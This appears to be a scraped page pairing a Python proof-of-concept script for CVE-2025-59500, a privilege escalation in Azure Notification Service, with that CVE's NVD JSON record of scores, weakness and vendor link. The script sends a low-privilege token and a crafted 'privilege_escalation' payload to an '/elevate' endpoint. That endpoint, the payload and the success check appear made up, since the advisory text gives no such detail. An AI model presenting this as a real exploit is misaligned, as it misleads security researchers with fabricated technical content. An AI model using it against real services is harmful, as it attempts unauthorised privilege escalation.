CVE-2025-59500

import requests import json # CVE-2025-59500 Azure Notification Service Privilege Escalation PoC # This is a conceptual PoC demonstrating the attack vector TARGET_URL = "https://{your-azure-notification-service}.azurewebsites.net" ATTACKER_TOKEN = "attacker_low_privilege_token" def check_vulnerability(): """ Check if the Azure Notification Service is vulnerable to CVE-2025-59500 """ # Step 1: Attempt to access normal low-privilege resources headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Step 2: Send crafted request to exploit improper access control exploit_payload = { "operation": "privilege_escalation", "target_resource": "admin/notifications", "action": "modify" } response = requests.post( f"{TARGET_URL}/api/v1/notifications/elevate", headers=headers, json=exploit_payload, timeout=30 ) if response.status_code == 200: data = response.json() if data.get("access_granted"): print("[+] Vulnerability confirmed! Privilege escalation successful") return True print("[-] Target may not be vulnerable or exploit failed") return False if __name__ == "__main__": check_vulnerability()

{"cve": {"id": "CVE-2025-59500", "sourceIdentifier": "[email protected]", "published": "2025-10-23T22:15:48.327", "lastModified": "2025-12-31T02:32:27.200", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper access control in Azure Notification Service allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_notification_service:-:*:*:*:*:*:*:*", "matchCriteriaId": "2DB1F639-37C9-4AAC-830B-9E4BE8B78DF9"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59500", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}